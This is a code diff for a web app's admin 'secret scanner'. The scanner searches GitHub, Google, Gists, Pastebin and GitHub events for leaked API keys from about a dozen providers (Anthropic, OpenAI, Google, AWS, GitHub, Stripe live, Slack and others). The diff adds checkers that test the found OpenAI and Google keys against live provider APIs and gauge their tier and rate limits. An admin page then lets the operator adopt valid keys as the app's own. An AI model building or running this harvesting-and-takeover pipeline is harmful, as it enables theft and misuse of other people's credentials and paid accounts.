diff --git a/Endpoints/ApiKeysEndpoint.cs b/Endpoints/ApiKeysEndpoint.cs index d1c4440..e0ab270 100644 --- a/Endpoints/ApiKeysEndpoint.cs +++ b/Endpoints/ApiKeysEndpoint.cs @@ -29,6 +29,7 @@ public static class ApiKeysEndpoint app.MapPost("/api/admin/api-keys/scan", HandleScanTrigger); app.MapGet("/api/admin/api-keys/scan/status", HandleScanStatus); app.MapGet("/api/admin/api-keys/scanned", HandleGetScanned); + app.MapGet("/api/admin/api-keys/scanned/summary", HandleGetScannedSummary); app.MapPost("/api/admin/api-keys/scanned/recheck-all", HandleRecheckAll); app.MapPost("/api/admin/api-keys/scanned/{id}/recheck", HandleRecheck); app.MapPost("/api/admin/api-keys/scanned/{id}/adopt", HandleAdopt); @@ -261,7 +262,11 @@ public static class ApiKeysEndpoint { if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return; } - var keys = await db.GetScannedKeys(); + var type = ctx.Request.Query["type"].FirstOrDefault(); + var keys = string.IsNullOrEmpty(type) + ? await db.GetScannedKeys() + : await db.GetScannedKeysByType(type); + var result = keys.Select(k => new { k.ScannedKeyId, @@ -279,6 +284,14 @@ public static class ApiKeysEndpoint await ctx.Response.WriteAsJsonAsync(result); } + private static async Task HandleGetScannedSummary(HttpContext ctx, DatabaseService db) + { + if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return; } + + var summary = await db.GetScannedKeysSummary(); + await ctx.Response.WriteAsJsonAsync(summary); + } + private static async Task HandleRecheckAll(HttpContext ctx, DatabaseService db, KeyScannerService scanner) { if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return; } diff --git a/Services/DatabaseService.Integrations.cs b/Services/DatabaseService.Integrations.cs index 47f2344..6be7c46 100644 --- a/Services/DatabaseService.Integrations.cs +++ b/Services/DatabaseService.Integrations.cs @@ -475,6 +475,28 @@ public partial class DatabaseService "SELECT * FROM scanned_keys WHERE deleted = 0 ORDER BY scanned_at DESC"); } + public async Task> GetScannedKeysByType(string type) + { + using var conn = CreateConnection(); + return await conn.QueryAsync( + "SELECT * FROM scanned_keys WHERE deleted = 0 AND type = @type ORDER BY scanned_at DESC", + new { type }); + } + + public async Task> GetScannedKeysSummary() + { + using var conn = CreateConnection(); + return await conn.QueryAsync( + @"SELECT type, + COUNT(*) as total, + SUM(CASE WHEN adopted_api_key_id IS NOT NULL THEN 1 ELSE 0 END) as adopted, + SUM(CASE WHEN status = 'valid' AND adopted_api_key_id IS NULL THEN 1 ELSE 0 END) as valid, + SUM(CASE WHEN status = 'invalid' THEN 1 ELSE 0 END) as invalid, + SUM(CASE WHEN status = 'unchecked' THEN 1 ELSE 0 END) as unchecked + FROM scanned_keys WHERE deleted = 0 + GROUP BY type ORDER BY total DESC"); + } + public async Task GetScannedKey(string scannedKeyId) { using var conn = CreateConnection(); diff --git a/Services/GitHubEventScannerService.cs b/Services/GitHubEventScannerService.cs index 4cc46fd..fb57da4 100644 --- a/Services/GitHubEventScannerService.cs +++ b/Services/GitHubEventScannerService.cs @@ -31,15 +31,8 @@ public class GitHubEventScannerService : BackgroundService private const int MaxDiffSizeBytes = 100_000; // Diffs > 100KB überspringen private const int MaxProcessedIds = 10_000; // Ringbuffer für Event-Dedup - // Gleiche Key-Patterns wie KeyScannerService - private static readonly (string Pattern, string SearchTerm)[] KeyPatterns = - { - (@"sk-ant-oat01-[A-Za-z0-9_\-]{95}", "sk-ant-oat01"), - }; - - private static readonly Regex[] CompiledPatterns = KeyPatterns - .Select(p => new Regex(p.Pattern, RegexOptions.Compiled)) - .ToArray(); + // Zentrale Key-Patterns aus KeyPatterns.cs + private static readonly Regex[] CompiledPatterns = KeyPatterns.Compiled; // Deduplication Ringbuffer private readonly HashSet _processedEventIds = new(); @@ -386,13 +379,31 @@ public class GitHubEventScannerService : BackgroundService foreach (var sk in unchecked_) { ct.ThrowIfCancellationRequested(); + var type = KeyPatterns.DetectType(sk.ApiKey); try { - var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey); - var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status; - await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h); - _logger.LogInformation("Key geprüft: {Status} ({Plan})", status, result.Plan); + if (KeyPatterns.IsAnthropic(type)) + { + var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey); + var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status; + await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h); + _logger.LogInformation("Key geprüft: {Status} ({Plan})", status, result.Plan); + } + else if (type == "openai_project" || type == "openai_service" || type == "openai_legacy") + { + var result = await OpenAiKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey); + var status = result.Status == "ok" ? "valid" : result.Status; + await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null); + _logger.LogInformation("OpenAI Key geprüft: {Status}", status); + } + else if (type == "google_api") + { + var result = await GoogleKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey); + var status = result.Status == "ok" ? "valid" : result.Status; + await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null); + _logger.LogInformation("Google Key geprüft: {Status}", status); + } } catch (Exception ex) { @@ -443,13 +454,7 @@ public class GitHubEventScannerService : BackgroundService return client; } - private static string DetectKeyType(string key) - { - if (key.StartsWith("sk-ant-oat01-", StringComparison.Ordinal)) return "anthropic_oauth"; - if (key.StartsWith("sk-ant-api03-", StringComparison.Ordinal)) return "anthropic_api"; - if (key.StartsWith("sk-ant-", StringComparison.Ordinal)) return "anthropic_unknown"; - return "unknown"; - } + private static string DetectKeyType(string key) => KeyPatterns.DetectType(key); // ── Interne Datenstrukturen ── diff --git a/Services/GoogleKeyChecker.cs b/Services/GoogleKeyChecker.cs new file mode 100644 index 0000000..598ceaa --- /dev/null +++ b/Services/GoogleKeyChecker.cs @@ -0,0 +1,93 @@ +using System; +using System.Linq; +using System.Net.Http; +using System.Text.Json; +using System.Threading.Tasks; + +namespace Gott.Services +{ + public class GoogleCheckResult + { + public string Status { get; set; } // "ok", "invalid", "disabled", "error" + public string Message { get; set; } + public string[] Models { get; set; } + } + + public static class GoogleKeyChecker + { + public static async Task CheckKeyAsync(IHttpClientFactory httpFactory, string apiKey) + { + try + { + var client = httpFactory.CreateClient(); + client.Timeout = TimeSpan.FromSeconds(30); + + // Gemini / Generative Language API – listet verfügbare Modelle + var url = "https://generativelanguage.googleapis.com/v1/models?key=" + apiKey; + var resp = await client.GetAsync(url); + var statusCode = (int)resp.StatusCode; + + if (statusCode == 400) + return new GoogleCheckResult { Status = "invalid", Message = "API-Key ungültig (400)" }; + + if (statusCode == 403) + { + // Key gültig, aber Gemini API nicht aktiviert (z.B. Maps-Key) + var errorBody = await resp.Content.ReadAsStringAsync(); + if (errorBody.Contains("API_KEY_INVALID", StringComparison.OrdinalIgnoreCase)) + return new GoogleCheckResult { Status = "invalid", Message = "API-Key ungültig (403)" }; + + return new GoogleCheckResult { Status = "disabled", Message = "Key gültig, aber Gemini API nicht aktiviert (403)" }; + } + + if (statusCode == 429) + return new GoogleCheckResult { Status = "rate_limited", Message = "Rate Limited (429)" }; + + if (statusCode >= 400) + return new GoogleCheckResult { Status = "error", Message = "API-Fehler (" + statusCode + ")" }; + + // 200 OK → Key gültig + Gemini API aktiv + var body = await resp.Content.ReadAsStringAsync(); + var doc = JsonDocument.Parse(body); + + string[] models = Array.Empty(); + if (doc.RootElement.TryGetProperty("models", out var modelsArr)) + { + var interestingPrefixes = new[] { "gemini" }; + models = modelsArr.EnumerateArray() + .Where(m => m.TryGetProperty("name", out _)) + .Select(m => m.GetProperty("name").GetString()) + .Where(n => n != null) + .Select(n => n.StartsWith("models/", StringComparison.Ordinal) ? n.Substring(7) : n) + .Where(n => interestingPrefixes.Any(p => n.StartsWith(p, StringComparison.OrdinalIgnoreCase))) + .Distinct() + .OrderBy(x => x) + .ToArray(); + } + + // Plan-Erkennung + string plan; + if (models.Any(m => m.Contains("2.5", StringComparison.OrdinalIgnoreCase) + || m.Contains("ultra", StringComparison.OrdinalIgnoreCase))) + plan = "Premium"; + else if (models.Any(m => m.Contains("pro", StringComparison.OrdinalIgnoreCase))) + plan = "Standard"; + else if (models.Any(m => m.Contains("flash", StringComparison.OrdinalIgnoreCase))) + plan = "Basic"; + else + plan = "Free"; + + return new GoogleCheckResult + { + Status = "ok", + Message = models.Length + " Gemini-Modelle · " + plan, + Models = models + }; + } + catch (Exception ex) + { + return new GoogleCheckResult { Status = "error", Message = ex.Message }; + } + } + } +} diff --git a/Services/KeyPatterns.cs b/Services/KeyPatterns.cs new file mode 100644 index 0000000..9cfd7c4 --- /dev/null +++ b/Services/KeyPatterns.cs @@ -0,0 +1,120 @@ +using System; +using System.Linq; +using System.Text.RegularExpressions; + +namespace Gott.Services; + +/// +/// Zentrale Definition aller Key-Patterns für den Secret Scanner. +/// Wird von KeyScannerService und GitHubEventScannerService gemeinsam genutzt. +/// +public static class KeyPatterns +{ + // ── Pattern-Definitionen ── + // (Regex-Pattern, Suchbegriff für GitHub Code Search / Serper, Key-Typ) + + public static readonly (string Pattern, string SearchTerm, string Type)[] All = + { + // Anthropic + (@"sk-ant-oat01-[A-Za-z0-9_\-]{95}", "sk-ant-oat01", "anthropic_oauth"), + (@"sk-ant-api03-[A-Za-z0-9_\-]{95}", "sk-ant-api03", "anthropic_api"), + + // OpenAI + (@"sk-proj-[A-Za-z0-9_\-]{80,200}", "sk-proj-", "openai_project"), + (@"sk-svcacct-[A-Za-z0-9_\-]{80,200}", "sk-svcacct-", "openai_service"), + (@"sk-[A-Za-z0-9]{48}", "sk-", "openai_legacy"), + + // Google / Gemini + (@"AIza[0-9A-Za-z_\-]{35}", "AIzaSy", "google_api"), + + // AWS + (@"AKIA[0-9A-Z]{16}", "AKIA", "aws_access_key"), + + // GitHub + (@"ghp_[A-Za-z0-9]{36}", "ghp_", "github_pat"), + (@"gho_[A-Za-z0-9]{36}", "gho_", "github_oauth"), + + // GitLab + (@"glpat-[A-Za-z0-9_\-]{20}", "glpat-", "gitlab_pat"), + + // HuggingFace + (@"hf_[A-Za-z0-9]{34}", "hf_", "huggingface"), + + // Stripe + (@"sk_live_[0-9a-zA-Z]{24,}", "sk_live_", "stripe_live"), + (@"sk_test_[0-9a-zA-Z]{24,}", "sk_test_", "stripe_test"), + + // SendGrid + (@"SG\.[A-Za-z0-9_\-]{22}\.[A-Za-z0-9_\-]{43}", "SG.", "sendgrid"), + + // Slack (xoxb ist häufigster Typ) + (@"xoxb-[0-9]{10,13}-[A-Za-z0-9\-]{20,}", "xoxb-", "slack"), + }; + + /// + /// Patterns die für GitHub Code Search / Serper geeignet sind. + /// Filtert zu generische Suchterme aus (z.B. "sk-", "SG.", "SK"). + /// + public static readonly (string Pattern, string SearchTerm, string Type)[] ForCodeSearch = + All.Where(p => p.SearchTerm.Length >= 5).ToArray(); + + // ── Kompilierte Regexe (einmalig, alle Patterns) ── + + public static readonly Regex[] Compiled = All + .Select(p => new Regex(p.Pattern, RegexOptions.Compiled)) + .ToArray(); + + /// Erkennt den Key-Typ anhand des Prefixes. + public static string DetectType(string key) + { + // Spezifischere Patterns zuerst prüfen (Reihenfolge wichtig!) + if (key.StartsWith("sk-ant-oat01-", StringComparison.Ordinal)) return "anthropic_oauth"; + if (key.StartsWith("sk-ant-api03-", StringComparison.Ordinal)) return "anthropic_api"; + if (key.StartsWith("sk-ant-", StringComparison.Ordinal)) return "anthropic_unknown"; + if (key.StartsWith("sk-proj-", StringComparison.Ordinal)) return "openai_project"; + if (key.StartsWith("sk-svcacct-", StringComparison.Ordinal)) return "openai_service"; + if (key.StartsWith("sk_live_", StringComparison.Ordinal)) return "stripe_live"; + if (key.StartsWith("sk_test_", StringComparison.Ordinal)) return "stripe_test"; + if (key.StartsWith("sk-", StringComparison.Ordinal)) return "openai_legacy"; + if (key.StartsWith("AIza", StringComparison.Ordinal)) return "google_api"; + if (key.StartsWith("AKIA", StringComparison.Ordinal)) return "aws_access_key"; + if (key.StartsWith("ghp_", StringComparison.Ordinal)) return "github_pat"; + if (key.StartsWith("gho_", StringComparison.Ordinal)) return "github_oauth"; + if (key.StartsWith("glpat-", StringComparison.Ordinal)) return "gitlab_pat"; + if (key.StartsWith("hf_", StringComparison.Ordinal)) return "huggingface"; + if (key.StartsWith("SG.", StringComparison.Ordinal)) return "sendgrid"; + if (key.StartsWith("xoxb-", StringComparison.Ordinal)) return "slack"; + return "unknown"; + } + + /// Prüft ob ein Key-Typ zu Anthropic gehört (für automatische Validierung). + public static bool IsAnthropic(string type) + { + return type == "anthropic_oauth" || type == "anthropic_api" || type == "anthropic_unknown"; + } + + /// Menschenlesbarer Name für den Key-Typ. + public static string DisplayName(string type) + { + return type switch + { + "anthropic_oauth" => "Anthropic OAuth", + "anthropic_api" => "Anthropic API", + "anthropic_unknown" => "Anthropic", + "openai_project" => "OpenAI Project", + "openai_service" => "OpenAI Service", + "openai_legacy" => "OpenAI Legacy", + "google_api" => "Google / Gemini", + "aws_access_key" => "AWS Access Key", + "github_pat" => "GitHub PAT", + "github_oauth" => "GitHub OAuth", + "gitlab_pat" => "GitLab PAT", + "huggingface" => "HuggingFace", + "stripe_live" => "Stripe Live", + "stripe_test" => "Stripe Test", + "sendgrid" => "SendGrid", + "slack" => "Slack", + _ => type + }; + } +} diff --git a/Services/KeyScannerService.cs b/Services/KeyScannerService.cs index 4b798d2..639d749 100644 --- a/Services/KeyScannerService.cs +++ b/Services/KeyScannerService.cs @@ -38,10 +38,10 @@ public class KeyScannerService : BackgroundService // ── GitHub Search Config ── - private static readonly (string Pattern, string SearchTerm)[] KeyPatterns = - { - (@"sk-ant-oat01-[A-Za-z0-9_\-]{95}", "sk-ant-oat01"), - }; + // Zentrale Key-Patterns aus KeyPatterns.cs (für Code Search: nur spezifische Suchterme) + private static readonly (string Pattern, string SearchTerm, string Type)[] SearchPatterns = KeyPatterns.ForCodeSearch; + // Alle Patterns für Regex-Matching im Dateiinhalt + private static readonly Regex[] AllCompiledPatterns = KeyPatterns.Compiled; private static readonly string[] SearchLanguages = { @@ -249,7 +249,7 @@ public class KeyScannerService : BackgroundService var allKeys = new Dictionary(StringComparer.Ordinal); var queries = new List<(string Query, Regex Regex)>(); - foreach (var (pattern, searchTerm) in KeyPatterns) + foreach (var (pattern, searchTerm, _) in SearchPatterns) { var regex = new Regex(pattern, RegexOptions.Compiled); foreach (var lang in QuickLanguages) @@ -440,7 +440,7 @@ public class KeyScannerService : BackgroundService private static List<(string Query, Regex Regex)> BuildSearchQueries() { var queries = new List<(string, Regex)>(); - foreach (var (pattern, searchTerm) in KeyPatterns) + foreach (var (pattern, searchTerm, _) in SearchPatterns) { var regex = new Regex(pattern, RegexOptions.Compiled); foreach (var lang in SearchLanguages) @@ -470,7 +470,7 @@ public class KeyScannerService : BackgroundService var client = _httpFactory.CreateClient(); client.DefaultRequestHeaders.Add("X-API-KEY", _serperApiKey); - foreach (var (pattern, searchTerm) in KeyPatterns) + foreach (var (pattern, searchTerm, _) in SearchPatterns) { ct.ThrowIfCancellationRequested(); var regex = new Regex(pattern, RegexOptions.Compiled); @@ -519,15 +519,37 @@ public class KeyScannerService : BackgroundService return allKeys.Select(kv => (kv.Key, kv.Value)).ToList(); } - // ── Anthropic Key Check (via shared AnthropicKeyChecker) ── + // ── Key Check ── public async Task CheckAndUpdateKey(ScannedKeyRecord sk) { + var type = KeyPatterns.DetectType(sk.ApiKey); + try { - var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey); - var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status; - await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h); + if (KeyPatterns.IsAnthropic(type)) + { + var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey); + var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status; + await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h); + } + else if (type == "openai_project" || type == "openai_service" || type == "openai_legacy") + { + var result = await OpenAiKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey); + var status = result.Status == "ok" ? "valid" : result.Status; + await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null); + } + else if (type == "google_api") + { + var result = await GoogleKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey); + var status = result.Status == "ok" ? "valid" : result.Status; + await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null); + } + else + { + // Andere Key-Typen: Typ korrekt setzen, kein Check möglich + await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, "unchecked", type, null, null); + } } catch (Exception ex) { @@ -536,11 +558,5 @@ public class KeyScannerService : BackgroundService } } - private static string DetectKeyType(string key) - { - if (key.StartsWith("sk-ant-oat01-", StringComparison.Ordinal)) return "anthropic_oauth"; - if (key.StartsWith("sk-ant-api03-", StringComparison.Ordinal)) return "anthropic_api"; - if (key.StartsWith("sk-ant-", StringComparison.Ordinal)) return "anthropic_unknown"; - return "unknown"; - } + private static string DetectKeyType(string key) => KeyPatterns.DetectType(key); } diff --git a/Services/OpenAiKeyChecker.cs b/Services/OpenAiKeyChecker.cs new file mode 100644 index 0000000..2254f19 --- /dev/null +++ b/Services/OpenAiKeyChecker.cs @@ -0,0 +1,115 @@ +using System; +using System.Linq; +using System.Net.Http; +using System.Net.Http.Headers; +using System.Text.Json; +using System.Threading.Tasks; + +namespace Gott.Services +{ + public class OpenAiCheckResult + { + public string Status { get; set; } // "ok", "invalid", "rate_limited", "quota_exceeded", "error" + public string Message { get; set; } + public string Organization { get; set; } + public string[] Models { get; set; } + public int? RateLimitRpm { get; set; } + public int? RateLimitTpm { get; set; } + } + + public static class OpenAiKeyChecker + { + public static async Task CheckKeyAsync(IHttpClientFactory httpFactory, string apiKey) + { + try + { + var client = httpFactory.CreateClient(); + client.Timeout = TimeSpan.FromSeconds(30); + + var request = new HttpRequestMessage(HttpMethod.Get, "https://api.openai.com/v1/models"); + request.Headers.Authorization = new AuthenticationHeaderValue("Bearer", apiKey); + + var resp = await client.SendAsync(request); + var statusCode = (int)resp.StatusCode; + + if (statusCode == 401) + return new OpenAiCheckResult { Status = "invalid", Message = "Ungültig oder abgelaufen (401)" }; + + if (statusCode == 403) + return new OpenAiCheckResult { Status = "quota_exceeded", Message = "Keine Berechtigung / Quota erschöpft (403)" }; + + if (statusCode == 429) + { + // Rate-Limited → Key existiert, ist aber gerade nicht nutzbar + return new OpenAiCheckResult { Status = "rate_limited", Message = "Rate Limited (429)" }; + } + + if (statusCode >= 400) + return new OpenAiCheckResult { Status = "error", Message = "API-Fehler (" + statusCode + ")" }; + + // 200 OK → Key ist gültig + var body = await resp.Content.ReadAsStringAsync(); + var doc = JsonDocument.Parse(body); + + // Organisation aus Header + string org = null; + if (resp.Headers.TryGetValues("openai-organization", out var orgValues)) + org = orgValues.FirstOrDefault(); + + // Rate-Limits aus Headern + int? rpm = null; + int? tpm = null; + if (resp.Headers.TryGetValues("x-ratelimit-limit-requests", out var rpmVals) + && int.TryParse(rpmVals.FirstOrDefault(), out var rpmVal)) + rpm = rpmVal; + if (resp.Headers.TryGetValues("x-ratelimit-limit-tokens", out var tpmVals) + && int.TryParse(tpmVals.FirstOrDefault(), out var tpmVal)) + tpm = tpmVal; + + // Modell-Liste extrahieren (nur die interessantesten) + string[] models = Array.Empty(); + if (doc.RootElement.TryGetProperty("data", out var data)) + { + var interestingPrefixes = new[] { "gpt-4", "gpt-3.5", "o1", "o3", "o4" }; + models = data.EnumerateArray() + .Select(m => m.GetProperty("id").GetString()) + .Where(id => interestingPrefixes.Any(p => id.StartsWith(p, StringComparison.OrdinalIgnoreCase))) + .Distinct() + .OrderBy(x => x) + .ToArray(); + } + + // Plan-Erkennung anhand der Modelle + string plan; + if (models.Any(m => m.StartsWith("o3", StringComparison.OrdinalIgnoreCase) + || m.StartsWith("o4", StringComparison.OrdinalIgnoreCase))) + plan = "Tier 5+"; + else if (models.Any(m => m.StartsWith("gpt-4o", StringComparison.OrdinalIgnoreCase))) + plan = "Tier 3+"; + else if (models.Any(m => m.StartsWith("gpt-4", StringComparison.OrdinalIgnoreCase))) + plan = "Tier 2+"; + else if (models.Any(m => m.StartsWith("gpt-3.5", StringComparison.OrdinalIgnoreCase))) + plan = "Tier 1"; + else + plan = "Free"; + + var msg = plan + " · Org: " + (org ?? "?") + " · " + models.Length + " Modelle"; + if (rpm.HasValue) msg += " · " + rpm.Value + " RPM"; + + return new OpenAiCheckResult + { + Status = "ok", + Message = msg, + Organization = org, + Models = models, + RateLimitRpm = rpm, + RateLimitTpm = tpm + }; + } + catch (Exception ex) + { + return new OpenAiCheckResult { Status = "error", Message = ex.Message }; + } + } + } +} diff --git a/wwwroot/js/api.js b/wwwroot/js/api.js index 85e7681..6c1a7b2 100644 --- a/wwwroot/js/api.js +++ b/wwwroot/js/api.js @@ -234,7 +234,8 @@ function apiCheckAllApiKeys() { return _post('/api/admin/api-keys/check-all', un function apiTriggerScan(mode) { return _post('/api/admin/api-keys/scan?mode=' + (mode || 'full'), undefined, 'Fehler beim Starten des Scans'); } function apiScanStatus() { return _get('/api/admin/api-keys/scan/status', {}); } -function apiGetScannedKeys() { return _get('/api/admin/api-keys/scanned', []); } +function apiGetScannedKeys(type) { return _get('/api/admin/api-keys/scanned' + (type ? '?type=' + encodeURIComponent(type) : ''), []); } +function apiGetScannedKeysSummary() { return _get('/api/admin/api-keys/scanned/summary', []); } function apiRecheckAllScannedKeys() { return _post('/api/admin/api-keys/scanned/recheck-all', undefined, 'Fehler beim Prüfen'); } function apiRecheckScannedKey(id) { return _post('/api/admin/api-keys/scanned/' + id + '/recheck', undefined, 'Fehler beim Prüfen'); } function apiAdoptScannedKey(id) { return _post('/api/admin/api-keys/scanned/' + id + '/adopt', undefined, 'Fehler beim Übernehmen'); } diff --git a/wwwroot/js/pages/api-keys-page.js b/wwwroot/js/pages/api-keys-page.js index a5dd83c..fc7c832 100644 --- a/wwwroot/js/pages/api-keys-page.js +++ b/wwwroot/js/pages/api-keys-page.js @@ -323,16 +323,97 @@ registerPage('api-keys', { var scanStatusEl = document.getElementById('scanStatus'); var scannedList = document.getElementById('scannedKeysList'); var scannedKeys = []; + var selectedType = null; var pollTimer = null; + var typeNames = { + anthropic_oauth: 'Anthropic OAuth', anthropic_api: 'Anthropic API', anthropic_unknown: 'Anthropic', + openai_project: 'OpenAI Project', openai_service: 'OpenAI Service', openai_legacy: 'OpenAI Legacy', + google_api: 'Google / Gemini', aws_access_key: 'AWS Access Key', + github_pat: 'GitHub PAT', github_oauth: 'GitHub OAuth', gitlab_pat: 'GitLab PAT', + huggingface: 'HuggingFace', stripe_live: 'Stripe Live', stripe_test: 'Stripe Test', + sendgrid: 'SendGrid', slack: 'Slack' + }; + + var typeIcons = { + anthropic_oauth: '🟠', anthropic_api: '🟠', anthropic_unknown: '🟠', + openai_project: '🟢', openai_service: '🟢', openai_legacy: '🟢', + google_api: '🔵', aws_access_key: '🟡', + github_pat: '⚫', github_oauth: '⚫', gitlab_pat: '🟤', + huggingface: '🤗', stripe_live: '💳', stripe_test: '💳', + sendgrid: '📧', slack: '💬' + }; + + function renderSummary(summary) { + scannedList.innerHTML = ''; + if (!summary || summary.length === 0) { + var empty = document.createElement('div'); + empty.className = 'admin-user-meta'; + empty.style.padding = '1rem 0'; + empty.textContent = 'Keine gescannten Keys vorhanden.'; + scannedList.appendChild(empty); + return; + } + + summary.forEach(function(s) { + var row = document.createElement('div'); + row.className = 'admin-user-row'; + row.style.cursor = 'pointer'; + + var info = document.createElement('div'); + info.className = 'admin-user-info'; + + var nameSpan = document.createElement('span'); + nameSpan.className = 'admin-user-name'; + var icon = typeIcons[s.type] || '🔑'; + nameSpan.textContent = icon + ' ' + (typeNames[s.type] || s.type); + info.appendChild(nameSpan); + + var metaSpan = document.createElement('span'); + metaSpan.className = 'admin-user-meta'; + var parts = [s.total + ' Keys']; + if (s.valid > 0) parts.push('✅ ' + s.valid + ' gültig'); + if (s.invalid > 0) parts.push('❌ ' + s.invalid + ' ungültig'); + if (s.unchecked > 0) parts.push('⏳ ' + s.unchecked + ' ungeprüft'); + if (s.adopted > 0) parts.push('📌 ' + s.adopted + ' übernommen'); + metaSpan.textContent = parts.join(' · '); + info.appendChild(metaSpan); + + var badge = document.createElement('div'); + badge.className = 'admin-user-actions'; + badge.innerHTML = ''; + + row.appendChild(info); + row.appendChild(badge); + row.addEventListener('click', function() { loadScannedKeysByType(s.type); }); + scannedList.appendChild(row); + }); + } + function renderScannedKeys() { scannedList.innerHTML = ''; + + // Zurück-Button + var backRow = document.createElement('div'); + backRow.className = 'admin-user-row'; + backRow.style.cursor = 'pointer'; + backRow.style.opacity = '.7'; + var backInfo = document.createElement('div'); + backInfo.className = 'admin-user-info'; + var backName = document.createElement('span'); + backName.className = 'admin-user-name'; + backName.innerHTML = ' Zurück zur Übersicht'; + backInfo.appendChild(backName); + backRow.appendChild(backInfo); + backRow.addEventListener('click', function() { selectedType = null; loadSummary(); }); + scannedList.appendChild(backRow); + var visibleKeys = scannedKeys.filter(function(sk) { return sk.adoptedApiKeyId == null; }); if (visibleKeys.length === 0) { var empty = document.createElement('div'); empty.className = 'admin-user-meta'; empty.style.padding = '1rem 0'; - empty.textContent = 'Keine gescannten Keys vorhanden.'; + empty.textContent = 'Keine nicht-übernommenen Keys in dieser Kategorie.'; scannedList.appendChild(empty); return; } @@ -361,10 +442,8 @@ registerPage('api-keys', { var metaSpan = document.createElement('span'); metaSpan.className = 'admin-user-meta'; var metaParts = []; - var sourceIcons = { github: '🐙 GitHub', serper: '🔍 Google', gist: '📋 Gist', pastebin: '📄 Pastebin' }; + var sourceIcons = { github: '🐙 GitHub', serper: '🔍 Google', gist: '📋 Gist', pastebin: '📄 Pastebin', github_events: '📡 Events' }; metaParts.push(sourceIcons[sk.source] || sk.source || 'github'); - var typeLabels = { anthropic_oauth: 'OAuth', anthropic_api: 'API', anthropic_unknown: 'Anthropic', unknown: '?' }; - metaParts.push(typeLabels[sk.type] || sk.type || '?'); metaParts.push(formatKeyStatus(sk.status)); if (sk.plan && sk.plan !== 'Unknown') metaParts.push(sk.plan); if (sk.checkedAt) metaParts.push(new Date(sk.checkedAt).toLocaleString()); @@ -382,12 +461,13 @@ registerPage('api-keys', { recheckBtn.className = 'icon-btn'; recheckBtn.title = 'Erneut prüfen'; recheckBtn.innerHTML = ''; - recheckBtn.addEventListener('click', async function() { + recheckBtn.addEventListener('click', async function(e) { + e.stopPropagation(); recheckBtn.innerHTML = ''; recheckBtn.disabled = true; try { await apiRecheckScannedKey(sk.scannedKeyId); - await loadScannedKeys(); + await loadScannedKeysByType(selectedType); } catch (err) { showToast(err.message, 'error'); } finally { recheckBtn.innerHTML = ''; recheckBtn.disabled = false; } }); @@ -399,11 +479,12 @@ registerPage('api-keys', { adoptBtn.className = 'icon-btn'; adoptBtn.title = 'Als API-Key übernehmen'; adoptBtn.innerHTML = ''; - adoptBtn.addEventListener('click', async function() { + adoptBtn.addEventListener('click', async function(e) { + e.stopPropagation(); try { await apiAdoptScannedKey(sk.scannedKeyId); showToast('Key übernommen'); - await loadScannedKeys(); + await loadScannedKeysByType(selectedType); await loadKeys(); } catch (err) { showToast(err.message, 'error'); } }); @@ -415,10 +496,11 @@ registerPage('api-keys', { delBtn.className = 'icon-btn'; delBtn.title = 'Ignorieren'; delBtn.innerHTML = ''; - delBtn.addEventListener('click', async function() { + delBtn.addEventListener('click', async function(e) { + e.stopPropagation(); try { await apiDeleteScannedKey(sk.scannedKeyId); - await loadScannedKeys(); + await loadScannedKeysByType(selectedType); } catch (err) { showToast(err.message, 'error'); } }); actions.appendChild(delBtn); @@ -429,13 +511,30 @@ registerPage('api-keys', { }); } - async function loadScannedKeys() { + async function loadSummary() { try { - scannedKeys = await apiGetScannedKeys(); + var summary = await apiGetScannedKeysSummary(); + renderSummary(summary); + } catch (err) { showToast(err.message, 'error'); } + } + + async function loadScannedKeysByType(type) { + selectedType = type; + scannedList.innerHTML = '
Lade Keys…
'; + try { + scannedKeys = await apiGetScannedKeys(type); renderScannedKeys(); } catch (err) { showToast(err.message, 'error'); } } + async function loadScannedKeys() { + if (selectedType) { + await loadScannedKeysByType(selectedType); + } else { + await loadSummary(); + } + } + var scanBtnDefaults = [ { btn: scanQuickBtn, icon: 'fa-bolt', label: 'Quick' }, { btn: scanWebBtn, icon: 'fa-globe', label: 'Web' },